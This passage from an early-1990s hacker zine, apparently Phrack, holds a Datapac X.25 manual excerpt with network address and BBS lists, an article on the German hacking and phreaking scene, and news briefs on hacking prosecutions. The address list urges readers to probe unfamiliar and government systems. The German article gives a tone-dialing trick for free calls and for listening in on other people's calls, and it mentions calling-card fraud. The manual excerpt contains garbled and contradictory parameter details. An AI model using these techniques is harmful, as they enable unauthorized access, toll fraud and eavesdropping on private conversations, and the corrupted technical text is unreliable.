network, it is old archaic and slow, yet still it is immense amounts of fun to play with. The following is a technical excerpt to help you understand the operation of Datapac and how to maneuver it. Those of you who are already familiar with the workings of this type of network will find this dry and repetitive for those of you who are not familiar it may make for some learning.

After the manual entry you will find a list of interesting sites to explore with, enjoy....

Datapac 3101 "Welcome to the Dark Ages"

Interface (ITI) in a Packet Assembler/Disassembler (PAD), which allows the devices to access the Network over dial‑up (DDD) or Dedicated Access Lines.

ITI, the end‑to‑end protocol for Datapac 3101, conforms to the CCITT recommendations X.3, X.28 and X.29 and supports access to the Datapac Network for asynchronous, start‑stop character mode terminals.

X.3 specifies the operation of the PAD. It contains the specifications for the twenty‑two International parameters and their operation.

X.25 specifies the command language between the terminal and the PAD. It also specifies the conditions which define the command mode and the data transfer mode.

X.29 specifies the procedures to be followed by an X.25 DTE to access and modify the parameters in the PAD as well as the data transfer procedure.

The Datapac 3101 service provides for terminal to Host (user's computer) and terminal to terminal communication. The Host access should conform with the X.25 protocol, using the Datapac 3000 access service, and also support the higher level protocol conventions for ITI. Host access may also be provided via the Datapac 3101 service for some applications. The Datapac 3101 service also provides block mode and tape support.

INTERNATIONAL PAD PARAMETERS

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1) Ability to Escape from Data Transfer State*

The setting of this parameter allows the user to interrupt the communication of his or her application (data transfer mode) and interact with the PAD (common mode). The character to do this is "ControlJP". To return to data transfer mode, press the carriage return or enter a blank command line. If the user wants to send a "ControlJP" to the Host, with this parameter set set to one, simply hit ControlJP twice and the second ControlJP will go to the Host and the user will remain in data transfer mode. This also applies to the user data field in the call request command line.

Parameter Number: 1

Possible Values: 0 = Escape not possible.

1 = Escape is possible.

*Note: Escape from Data transfer mode may also be possible using the break signal if parameter seven is set to eight.

2) Echo*

This parameter indicates to the PAD whether or not the terminal input data must be echoed. This may be required if the user's terminal cannot echo back what is being entered.

Parameter Number: 1

Possible Values: 0 = No echo.

1 = Echo.

*Note: Echo will also be affected by the setting of Parameter 20.

3) Selection of Data Forwarding Signal

This parameter indicates to the PAD the set to terminal generated characters or conditions that will cause data to be forwarded to the destination. For example, (CR) can be used as a data forwarding signal on receipt of a (CR) from the local DTE Y, the PAD will forward all characters in its buffer to the remote end, including the (CR). If P13 is set to 6.7, 22 or 23, a (LF) will be included in the packet and will delimit it. Data is also forwarded when the buffer is full whether or not a forwarding character is received.

Parameter Number: 3

Possible Values: 0 = No data forwarding signal. 2 = Forward on carriage return. 2 = Carriage return.

126 = All characters in columns 0 and 1 of ASCII table and the character del of International alphabet #5.

4) Selection of Idle Timer Delay

This parameter is used to determine the idle timer limit value when data forwarding is based on timeouts. To optimize packetizing of data, no data forwarding signal need be specified. The PAD will then packetize data based on packet size specified (256 or 128 characters). The idle timer is used to send any packets that are not fully filled. If idle timer is activated and the Host requires the (CR) to input data, it still must be provided before the data send is accepted by the Host. The idle timer does not send any empty packets.

Parameter Number: 4

Possible Values: 0 = No data forwarding on timeout is required.

1‑255 = Indicates value of the delay in twenties of a second. (i.e., a value of 250 makes the time wait 10 seconds)

*Note: When editing is on (P15:1), the idle timer is inactive. If this is the only data forwarding condition, turning the editing function on could cause a user terminal to hand or data not to be forwarded.

5) Auxiliary Device Control*

This is used for flow control of data coming from either a PC or auxiliary device, e.g.: a paper tape machine. When set to 1 it indicates to the PAD that the data is to be read an auxiliary I/O device connected to the terminal. This parameter set to 2 indicates that the data is coming from an intelligent device, i.e., a PC, and that the PAD must exert flow control differently.

Parameter Number: 5

Possible Values: 0 = No use of X‑on/X‑off. 1 = Use of X‑on/X‑off for auxiliary devices.

2 = Use of X‑on/X‑off for intelligent terminals.

*Note: A value of 2 is recommended for PC's.

6) Suppress Network Messages

This parameter indicates to the PAD whether or not Network generated messages are to be transmitted to the terminal.

Parameter Number: 6

Possible Values: 0 = Suppress message.

1 = Transmit message.

5 = PAD prompt (*) follows Datapac service signals.

7) Procedure on Break

This parameter is used to indicate how the PAD should process a break signal that is received from the terminal

while the terminal is in data transfer state.

Parameter Number: 7

Possible Values: 0 = Nothing. (remain in data transfer mode)

1 = Interrupt. (remain in data transfer mode)

2 = Reset. (remain in data transfer mode)

4 = Send an "indication of break" message to the packet mode DTE. (remain in data transfer mode) 8 = Escape from data transfer mode (i.e., enter command mode) 16 = Discard output to terminal activate Parameter 8 (P8:1) (remain in data transfer mode) 21 = A combination of 1, 4 and 16.

*Note: The break signal is ignored if the virtual circuit is not established while in command state. The break signal will delete the current line.

The valid values for P7 are 0, 1, 2, 8 and 21.

8) Discard Output

This parameter is used in conjunction with Parameter 7. Depending upon the break procedure selected, this parameter may be set by the PAD when the terminal user requests that terminal data be discarded. This parameter must then be reset by the destination computer to allow normal delivery. The PAD will discard all packets destined for the terminal from the time the PAD sets this parameter (i.e., it receives a break signal when Parameter 7 is set to 21) to the time the parameter is reset by the destination. It can only be reset by the destination.

Parameter Number: 8

Possible Values: 0 = Normal delivery of output to terminal.

1 = Discard output to terminal.

9) Padding after Carriage Return

This parameter is used to specify the number of padding characters to be inserted by the PAD following a CR transmitted to the terminal. Padding allows time for the carriage to return on mechanical printing devices.

Parameter Number: 9

Possible Values: 0 = 2 padding characters will be inserted at 110 bps and 4 padding characters will be inserted at higher speeds, in command mode only. (no padding is done in data transfer mode) 1‑255 = The number of padding characters to be inserted in both data transfer and command mode.

10) Line Folding

This parameter indicates the maximum number of printable characters that can be displayed on the terminal before the PAD must send a format effector (i.e.., <CR><LF>). This permits more data to be transmitted in one packet while still letting the user print out more than one line, i.e., printing out forms.

11) Transmission Speed (Read only)

This parameter is set by the PAD as a result of transmission speed detection if the terminal accesses an autobaud port. When a private port with fixed speed is used, this parameter is set based on the pre‑stored information selected at subscription time.

Parameter Number: 11

Possible Values: 0 = 110 bps

2 = 300 bps

3 = 1200 bps

4 = 2400 bps

This is all very dry stuff (what buffer isn't?) however if you need more info on it simply mail me.

NUA list

20500011 Bell Northern Research

39400100 Envoy (English/Francais)

30400101 Envoy (Anglais/French)

39500032 Globe and Mail

41100015,I Infoglobe

59600072 University of Athabasca

60100010 Universtiy of Alberta

67100752 ?

67100673 ?

20400177 QL

29400138 Tymnet CIS02 7770,101 'free demo' 20401338 Tymnet

41100043 CSG Infoglobe

73500023 KN Computer MCT

59100092 Keyano College (Alberta)

72400014 System Max‑Daisey (VAX/VMS)

69100018 Cybershare

55500010 ?

29400263 ?

29400263 ?

67100086 Sears

67100132 Primenet

67100489 Terminal ID=VAX

67100629 (VAX/VMS)

67100632 McKim Advertising (Vancouver)

93200233 University of Manitoba

79400100 Envoy Info/Mailbox

92100086 Datapac General Info

20500011 Canole II

I have kept a number of sites I have, off this list simply

to ensure I keep them, however there are thousands of Virgin sites available off of Dpac. Something to keep your eyes open for are Canadian government machines which are fairly abundant on the Dpac.

Beyond Dpac, there are some actual BBS's worth calling, most however would rather not have there numbers published in Phrack. None the less here are some stable, and relatively active BBS's:

The Underground Subway 606‑590‑1147

Gridpoint 403‑283‑5519

The G‑spot (Rabid HQ) 416‑256‑9017

Front 242 (VX)(Rabid) 416‑790‑6632

I am sorry for what this article did not cover, in the umpteen or so pages I have punched up, I still have covered not even a tenth of what I would like to cover. For those who wish a reliable UG bbs for list .ca or more info on the Dpac or wish to elicit any other response to this article please e‑mail me at besaville@sait.ab.ca

****************************************

The German Scene

(by SevenUp)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

CCC

‑‑‑

Talking about the German Hacker Scene, the Chaos Computer Club (CCC) comes to most people's mind. They are most famous for their 'NASA‑Hack' and their publications like Hackerbibel and Datenschleuder, a monthly magazine talking about 'softer' stuff than 2600, such as MUD's, the Internet and BBS'es.

They organize the annual Chaos Communication Congress, held annually from December, 27th till 29th in Hamburg. Usually around 1000 people show up there, discussing many different topics, such as Phreaking, Internet, Women and Computer, Cellular Phones, Phone Cards and others. Many well‑known people, like Pengo and Professor Brunnstein the meeting. There are usually also shows of Horror Movies (but no porns like at HohoCon), but it's not a real 'party' like SummerCon or the upcoming Hacktic Party.

Another annually meeting from CCC members and many other hackers is at the huge computer fare 'CeBit' in Hannover in March. The Get Together is at the Telekom booth on Tuesday at 4pm. Usually Telekom (the German phone company) representatives are very kind, give away phone cards (value: $4), but usually don't have any interesting new informations.

There haven't been any hacks affiliated with the CCC for the last couple of years. The CCC tries to get away from their former criminal image, talking mostly about risks of computers in society, and producing lots of press releases.

The KGB Hack

‑‑‑‑‑‑‑‑‑‑‑‑

Most of you might know "The Cuckoo's Egg" by Cliff Stoll. His exciting novel talks about German Hackers hacking for the KGB.

These guys were using the German x.25 network Datex‑P to get to a US University, and from there to several hosts on the Arpa/Milnet (Internet). They were using mostly basic knowledge to get into several UNIX and VMS Systems, reading personal Mail and looking for documents the 'Russians' might have been interested in.

It all ends up with the suicide (murder?) of Karl Koch, one of the hackers. Although these hackers weren't CCC members, there is a pretty good book from the CCC about it, containing more facts than Cliff's book: "Hacker fuer Moskau", published by Wunderlich.

This is probably the best known German hack of all times.

Networks

‑‑‑‑‑‑‑‑

I. x.25

The German x.25 System is called 'Datex‑P' and has the DNIC (2624). Dialups are in almost every area code, or can be reached locally from everywhere. There are also Tymnet and Sprintnet Dialups available in the major cities, with some limitations though. Tymnet won't connect you to dpac (Datapac Canada). Sprintnet has just a true dialup in Frankfurt, the other dialups are handled by their partner Info AG, which allow calling most RNUAs, but most Sprintnet NUIs won't work.

There is a 'Subnet' in the Datex‑P Network, the so called 'WiN' (which means scientific network). Almost all universities have connections to the WiN, which means they pay a flat rate each month, which allows them to make as many calls and transfer as much data to other WiN hosts, as they like. Usually x.25 rates are charged by the volume of packages/data. You can identify WiN addresses easily, because they start with (0262)45050... There are many gateways from WiN to Internet, and also a few from Internet to WiN. WiN NUAs can be reached without problem from any x.25 network in the world, like Sprintnet or Tymnet; though most WiN PADs will refuse to connect to non‑WiN NUAs.

There are also a couple of German systems, international hackers used to like. The most‑famous is probably Lutzifer in Hamburg, Germany. It can still be reached from x.25 Networks like Sprintnet or Tymnet.

Around two years ago, British, American and other hackers used to trade all kinds of codez on "Lutz". But now, Pat Sisson ("frenchkiss") from Sprintnet Security and Dale Drew ("Bartman") from Tymnet Security, try to track down everyone abusing their NUIs or PADs.

Before Lutzifer went up 2.5 years ago, tchh and Altos Munich were most attractive. They were running the same simple Korn‑Chat on an Altos. There are still a couple of other x.25 Systems, which attract hackers from all over the world, like qsd, Pegasus (in France and Switzerland) and Secret Tectonics / sectec, a rather new semi‑private Board in Germany with x.25 and Direct Phone Dialups, uucp/Internet Mail, File and Message Bases and all Phrack Issues as well.

II. Internet

But now, most hackers quit the x.25 scene and tried to get onto Internet. Unlike the fast Internet connections in the USA between .edu sites, German Internet connections are mostly routed through slow (9.6kbps or 64k) x.25 Links.

This is mostly the fault of the German phone company 'Telekom'. They have a monopoly on phone lines in Germany and charge 2‑10 times higher fees than American phone co's. Even local calls are US$1.50/hour.

There aren't many German Internet Sites that attract foreign hackers, compared to US Sites that German Hackers are interested in.

There are almost no public Internet BBSes with free access in Germany. Also, German Universities have often a pretty tight security and get mad easily.

III. Amiga Kiddos

BBS'es are still the major hang‑out besides IRC. The Amiga Scene with its K‑rad Kiddos (most of them under 18 years) used to be dominant a couple of years ago, trading Calling Cards and new Blue Box frequencies to call the best boards in the US to leech the latest games.

But recently, the IBM scene caught up and many guys switched from Amiga to IBM; so over 50% of pirate boards are IBM boards now.

But recently, BBS sysops have to face hard times. A couple of months ago, lots of BBS'es in Berlin, but also in Bavaria and North Germany got 'busted' ‑ raided by the police because of their illegal warez. (see my article in Phrack 42 about it) The man behind these actions is the lawyer 'Guenther Freiherr von Gravenreuth', who works for Activision, the SPA and BSA. He is tracking down kids with piracy as recklessly as BBS Sysops, who sell subscriptions for a 'Disabled Upload/Download Ratio' for around $100 a month. There have been a couple of these trials lately, without much notice by the press. Mr Gravenreuth is also responsible for many people's fear to put up a new BBS ‑ especially in Bavaria where he lives.

Also, calling the favorite Board in the US is getting harder and harder, as covered in the next Chapter.

IV. The Phone System

Blueboxing used to be the favorite sport of many German traders for the last couple of years. But some phreakers wanted to make more money, selling the Bluebox Story to Magazines like Capital or Spiegel, or to TV Shows. Even AT&T and the German Telecom, who seemed to be blind about this phreaking, couldn't avoid facing the truth now ‑ they had to do something, not only to recover from the huge losses, but also to save their reputation.

There are a lot of rumors and text files about the actions these phone companies took; most of them are fakes by 'eleet' people, who don't want the 'lamers' to keep the trunks and the eleet boards busy. But some actions seem to be certified; e. g. Telekom bought some intelligent filter boxes from British Telecom. These boxes should detect any C5 tones (especially 2600 Hz), being sent by phreakers; and log the number of the phreaker, if possible.

If possible, because the Telekom doesn't have ANI in most cases. Until recently, all phone lines used to be analog, pulse dialing lines with huge relay switches. Then the Telekom started switching to 'modern' digitally switched lines, which allow Touch‑Tone‑Dialing, and also a few other nice features, which I want to cover now.

One of these nice features 'died' just about 3 weeks ago, because someone informed the new magazine 'Focus'.

The trick was very simple. All you need was a digital line which allowed you to dial touch tone, and a 'Silver Box' ‑ a device, that allows you to dial the digits 0...9, #, * and also A, B, C and D ‑ many modems have this capability too.

All you had to do was to dial 'B' + 'xxx' + 'yyyy', where 'B' is the Silver Tone B, 'xxx' is an internal Telekom code, and 'yyyy' are the last four digits of a phone number. The internal codes 'xxx' usually look like 010, 223, 011, and so on ‑ they switch you to an exchange, mostly in your own area code, but often in a different one! Notice that exchange number and internal code are different. When you are connected to a certain exchange, dialing the four 'yyyy' digits connects you to a certain phone number in that exchange. This enables you to make free calls ‑ also to different area codes, but you have to try around to find which code matches with which exchange. But that's not all; now the fun just begins! Imagine the number you dial is busy... you won't hear a busy signal then, you would just be connected into the call! You could listen to the conversation of two parties! Imagine how much fun this could be... and imagine someone would be listening to your private conversations!

When Telekom read the article, most area codes lost this capability; but there are still some reported to work.

Blueboxing is getting harder and harder, MCI and AT&T keep on changing their 'Break' frequencies more rapidly (though they still use in‑band CCITT C5 signalling); so more and more people offer Calling Card subscriptions, and even more traders, who refuse paying Telekom's high fees, buy them. They are offered mostly by Americans, Belgium people and Germans, for about $100 a month. Also, I haven't heard of any case where a German got busted for abusing AT&T's Calling Cards; probably because Telekom can't really trace phones lines, either technically nor legally (they may not just 'tap' phone lines because of people's privacy).

Also, German Toll Free Numbers (they start with 0130) are getting more and more. I would take a guess and say they grow 20%‑80% a year. There isn't any official directory nor a directory assistance for these numbers, and many companies want these numbers to remain 'unknown' to the evil hackers, since Telekom is asking high fees for them.

So many Germans compile and scan these numbers; there is also a semi‑public list on them by SLINK ‑ available on many BBS'es and on local German Newsgroups. This list also contains numbers of business companies like Microsoft, Hewlett Packard or Dell in Austin (hi erik :) ), so it is quite useful for 'normal people' too.

There have also been reported the first PBX‑like Systems in Germany; this is quite a sensation, because German Telekom laws don't allow PBX'es, or even the linking of two phone lines (like 3‑way calling). So in fact, these Systems weren't real PBX'es, but Merial Mail VMB Systems with the Outdial feature.

PaRtY 0n!

‑‑‑‑‑‑‑‑‑

There are a couple of interesting get‑togethers and parties.

I mentioned the annual Chaos Communication Congress after Christmas; the CCC also has weekly meetings on Tuesday. There are the annual CeBIT hacker parties, on the Tuesday at CeBIT in March. After the CeBIT meeting and weekly, there are get‑togethers at the 'Bo22', a cafe in Hannover. These meetings have tradition since the KGB Hacks of Pengo and 'Hagbard Celine' Karl Koch, as I mentioned above. You will still find friends of them there, if you drop by on a Tuesday. Since a couple of months and with Emmanuel Goldstein's great support, we are having 2600 meetings in Munich, Germany too! These are the first 2600 meetings outside of the US; the first meeting was quite successful with over 30 people, and the next one in July will be successful too, hopefully. Some international visitors from the US are expected, too. These meetings are held at around 6pm in front of Burger King at Central Station, Munich. I also like to thank Munich's Number One Hit Radio Station 89 HIT FM at this point, for letting us into the air for 3 minutes, talking about the 2600 meeting and a bit about 'hacking'. There are also semi‑annual IRC parties in Germany, but they are 'just' parties with usually 100‑150 people. Hacking and phreaking

Phrack World News

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 27 of 27

PWN PWN PNW PNW PNW PNW PNW PNW PNW PNW PNW PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Compiled by Datastream Cowboy PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

New Yorker Admits Cracking July 3, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~

(From AP Newswire Sources)

Twenty‑one‑year‑old Mark Abene of New York, known as "Phiber Optik" in the underground computing community, has pleaded guilty to charges he participated in a group that broke into computers used by phone companies and credit reporting services.

The Reuter News Service says Abene was the last of the five young men indicted in the huge 1991 computer break‑in scheme to admit committing the crimes. The group called itself "MOD," an acronym used for "Masters of Disaster" and "Masters of Deception."

Abene pleaded guilty to one count of conspiracy and one count of unlawful access to computers. He faces a possible maximum prison term of 10 years and fine of $500,000.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

China Executes Computer Intruder April 26, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

(From AP Newswire Sources)

A man accused of invading a computer and embezzling some $192,000 has been executed in China.

Shi Biao, an accountant at the Agricultural Bank of China's Jilin branch, was accused of forging deposit slips from Aug. 1 to Nov. 18, 1991.

The crime was the first case of bank embezzlement via

computer in China. Authorities became aware of the plot

when Shi and his alleged accomplice, Yu Lixin, tried to wire part of the money to Shenzhen in southern China.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Teen Takes the A Train ‑‑‑ Literally May 13, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

(From AP Newswire sources)

A 16 year old 10th grader successfully conveyed passengers on a NYC 10 car subway train for 2.5 hours until he went around a curve too quickly and could not reset the emergency brakes. Keron Thomas dressed as a NY subway train engineer impersonated Regoberto Sabio, a REAL subway motorman, while he was on vacation and even obtained Sabio's "pass number".

Thomas was a Subway enthusiast who hung around train stations and areas where subway motormen and other subway workers hang out. A NYC subway spokesman was quoted as saying "Buffs like to watch...pretty soon they figure out how" [to run the train]. "This guy really knew what he was doing".

Thomas was charged with criminal trespassing, criminal impersonation, and reckless endangerment.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Banks React To Scheme That Used Phony ATM May 13, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

(From AP Newswire Sources)

At least three people are believed to be involved in an ATM scam that is thought to have netted roughly $ 60,000. The fraud was perpetrated by obtaining a real ATM machine (theorized to have been stolen from a warehouse) and placing it in a Connecticut shopping mall.

When people attempted to use the machine, they received a message that the machine wasn't working correctly and gave back the card. Little did they know that their bank account number and PIN code was recorded. The fake machine was in place for about 2 weeks. It was removed and the thieves began making withdrawals.

The Secret Service thinks the scammers recorded anywhere from 2000 to 3000 account numbers/pin codes but did not get a chance to counterfeit and withdraw money except from a few hundred accounts before it became too dangerous to continue

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hacker Gets Jail Time June 5, 1993

~~~~~~~~~~~~~~~~~~~~~

(Newsday) (Page 13)

A Brooklyn College film student, who was part of a group that allegedly broke into computer systems operated by major telephone companies, was sentenced yesterday to 1 year and 1 day in prison.

John Lee, 21, of Bedford Stuyvesant, also was sentenced to 200 hours of community service, which Manhattan Federal District Court Judge Richard Owen recommended he spend teaching others to use computers. Lee had pled guilty December 3, 1992, to a conspiracy charge involving computer tampering, fraud and illegal wiretapping.

________________________________________

Hacker Gets Prison Term For Phone Computer Tampering June 4, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Gail Appleson (The Reuter Business Report)

NEW YORK ‑‑ A computer hacker known as "Corrupt" who was part of a group that broke into computer systems operated by major telephone companies was sentenced Friday to one year and one day in prison.

The defendant, John Lee, 21, of New York had pleaded guilty December 3, 1992 to a conspiracy charge involving computer tampering, fraud and illegal wiretapping.

The indictment alleges the defendants broke into computer switching systems operated by Southwestern Bell, New York Telephone, Pacific Bell, U.S. West and Martin Marietta Electronics Information and Missile Group.

Southwestern Bell allegedly lost $370,000 because of the crimes.

The defendants also allegedly tampered with systems owned by the nation's largest credit reporting companies including TRW, Trans Union and Information America. They allegedly obtained 176 TRW credit reports on various individuals.

The indictment alleged the group broke into the computers "to enhance their image and prestige among other computer hackers and to harass and intimidate rival hackers and other people they did not like."

________________________________________

Professional Computer Hackers First To Land In Jail Under New Law June 4, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Nicholas Hills (The Vancouver Sunds)(Page A11)

LONDON ‑‑ In Brussels, they were celebrated as the two young men who broke the gaudy secrets of EC president Jacques Delors' expense accounts.

In Sweden, they were known as the Eight‑Legged Groove Machine, bringing down part of the country's telephone network, forcing a highly publicized apology from a government minister who said the chaos was all due to a 'technical fault'.

They also broke into various European defense ministry networks, academic systems at Hull University and the financial records of the leading London bankers, S.G. Warburg.

No, these weren't two happy‑go‑lucky burglars; but rather, professional computer hackers, aged 24 and 22, who made legal as well as technological history by being the first offenders of this new trade to be jailed for their crimes under new British law.

Neil Woods and Karl Strickland have gone to prison for six months each for penetrating computer systems in 15 different countries. The ease with which they conducted this exercise, and their attitude that they were simply engaging in "intellectual joyriding," has confirmed the worst fears of legal and technological experts that computer hacking in Europe, at least, has become a virtually uncontrollable virus.

The case became a cause celebre because of what had happened months before in another courtroom where a teenage computer addict who had hacked into the White House system, the EC, and even the Tokyo Zoo ‑‑ using a $400 birthday present from his mother ‑‑ had walked free because a jury accepted, basically, that a computer had taken over his mind.

The case of 19‑year‑old Paul Bedworth, who began hacking at the age of 14, and is now studying "artificial intelligence" at Edinburgh University, provides an insight into why hackers have turned the new computer world into an equivalent state of delirium tremens.

Bedworth and two young friends caused thousands of dollars worth of damage to computer systems in Britain and abroad. They were charged with criminal conspiracy under the Computer Misuse Act of 1990.

Bedworth never did deny computer hacking at his trial, and did not give evidence in his defense. He simply said through his lawyer that there could not have been any criminal intent because of his "pathological obsession" with computers.

A jury of eight men and three women unanimously acquitted him.

Until the passage of the Computer Misuse Act in 1990, hacking was legal in Britain. Bedworth may have been found not guilty, but his activities were so widespread that the authorities' investigation involved eight different British police forces, and others from as far afield as Finland and Singapore. It produced so much evidence ‑ mostly on disk ‑ that if it had been printed out on ordinary laser printer paper, it is estimated that the material would have reached a height of 42 meters.

The police were devastated by the verdict, but are now feeling somewhat better after the conviction of Woods and Strickland.

The pair, using the nicknames of Pad and Gandalf, would spend up to six hours a day at their computers, boasting about "smashing" databases.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Computers Turned My Boy Into A Robot March 18, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Martin Phillips (Daily Mirror)(Page 1)

Connie Bedworth said she was powerless to control the "monster" as he glued himself to the screen nearly 24 hours as day. "He didn't want to eat or sleep‑‑he just couldn't bear to be away from it, " she said.

A jury decided Paul Bedworth, now 19, was so "hooked" he could not stop himself hacking in to companies' systems ‑‑ allegedly costing them thousands of dollars.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hot For The Fingertips: An Internet Meeting Of Minds May 23, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Frank Bajak (Associated Press)

NEW YORK ‑‑ Somewhere in the ether and silicon that unite two workstations 11 floors above lower Broadway, denizens of the cyberpunk milieu are feverishly debating whether anyone in government can be trusted.

This is the 12‑by‑20‑foot bare‑walled home of MindVox, today's recreation hall for the new lost generation's telecomputing crowd. You can enter by phone line or directly off Internet.

Patrick Kroupa and Bruce Fancher are the proprietors, self‑described former Legion of Doom telephone hackers who cut the cord with computing for a time after mid‑1980s teen‑age shenanigans.

Kroupa is a towering 25‑year‑old high school dropout in a black leather jacket, with long hair gathered under a gray bandanna, three earrings and a hearty laugh.

Fancher is 22 and more businesslike, but equally in love with this dream he left Tufts University for.

They've invested more than $80,000 into Mindvox, which went fully operational in November and has more than 2,000 users, who pay $15 to $20 a month plus telephone charges.

MindVox aspires to be a younger, harder‑edged alternative to the WELL, a fertile 8‑year‑old watering hole for the mind in Sausalito, California, with more than 7,000 users, including scores of computer age luminaries.

One popular feature is a round‑table discussion on computer theft and security hosted by a U.S. Treasury agent. The latest hot topic is the ease of breaking into a new flavor of local access network.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi Girlz, See You In Cyberspace May 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Margie (Sassy Magazine) (Page 79)

[Margie hits the net via Mindvox. Along the way she discovers flame wars, sexism, and a noted lack of females online. This is her story. :) ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hacker Accused of Rigging Radio Contests April 22, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Don Clark (San Francisco Chronicle)

A notorious hacker was charged yesterday with using computers to rig promotional contest at three Los Angeles radio stations, in a scheme that allegedly netted two Porsches, $20,000 in cash and at least two trips to Hawaii.

Kevin Lee Poulsen, now awaiting trial on earlier federal charges, is accused of conspiring with two other hackers to seize control of incoming phone lines at the radio stations. By making sure that only their calls got through, the conspirators were assured of winning the contests, federal prosecutors said.

A new 19‑count federal indictment filed in Los Angeles charges that Poulsen also set up his own wire taps and hacked into computers owned by California Department of Motor Vehicles and Pacific Bell. Through the latter, he obtained information about the undercover businesses and wiretaps run by the FBI, the indictment states.

Poulsen, 27, is accused of committing the crimes during 17 months on the lam from earlier charges of telecommunications and computers fraud filed in San Jose. He was arrested in April 1991 and is now in the federal Correctional Institution in Dublin. In December, prosecutors added an espionage charge against him for his alleged theft of a classified military document.

The indictment announced yesterday adds additional charges of computer and mail fraud, money laundering, interception of wire communications and obstruction of justice.

Ronald Mark Austin and Justin Tanner Peterson have pleaded guilty to conspiracy and violating computer crime laws and have agreed to help against Poulsen. Both are Los Angeles residents.

Poulsen and Austin have made headlines together before. As teenagers in Los Angeles, the two computer prodigies allegedly broke into a Pentagon‑organized computer network that links researchers and defense contractors around the country.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SPA Tracks Software Pirates on Internet March 22, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Shawn Willett (InfoWorld)(Page 12)

The Software Publishers Association has begun investigating reports of widespread piracy on the Internet, a loose amalgam of thousands of computer networks.

The Internet, which began as a Unix‑oriented, university‑based communications network, now reaches into corporate and government sites in 110 countries and is growing at a rapid pace.

The software theft, according to Andrew Patrizio, an editor at the _Software Industry Bulletin_, has been found on certain channels, particularly the warez channel.

"People are openly talking about pirating software; there seems to be no one there to monitor it", Patrizio said.

A major problem with the Internet is that the "sites" from where the software is being illegally downloaded can physically be located in countries that do not have strong antipiracy laws, such as Italy or the former Soviet Union. The Internet also has no central administrator or system operator.

"Policing the entire Internet would be a job", said Peter Beruk, litigation manager for the SPA, in Washington. "My feeling would be to target specific sections that are offering a lot of commercial software free for the download", he said.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Socialite's Son Will Have To Pay $15,000 To

Get His Impounded 1991 BMW Back March 23, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By John Makeig (Houston Chronicle)(Page 14A)

Kenyon Shulman, son of Houston socialite Carolyn Farb will have to pay 15 thousand dollars to get back his 1991 BMW 325i after being impounded when Houston police found 400 doses of the drug ecstasy in its trunk.

This is just the latest brush with authorities for Shulman who in 1988 was raided by Harris County authorities for using his personal computer to crack AT&T codes to make free long distance calls.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Austin Man Gets 10 Years For Computer Theft, Sales May 6, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Jim Phillips (Austin American Statesman)(Page B3)

Jason Copson, who was arrested in July under his alias Scott Edward Berry, has been sentenced to 10 years on each of four charges of burglary and one count of assault. The charges will run concurrently. Copson still faces charges in Maryland and Virginia where he served a prison term and was serving probation for dealing in stolen goods. Police arrested Copson and Christopher Lamprecht on July 9 during a sting in which the men tried to sell computer chips stolen from Advanced Micro Devices.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Treasury Told Computer Virus Secrets June 19, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By: Joel Garreau (Washington Post) (Page A01)

For more than a year, computer virus programs that can wreak havoc with computer systems throughout the world were made available by a U.S. government agency to anyone with a home computer and a modem, officials acknowledged this week.

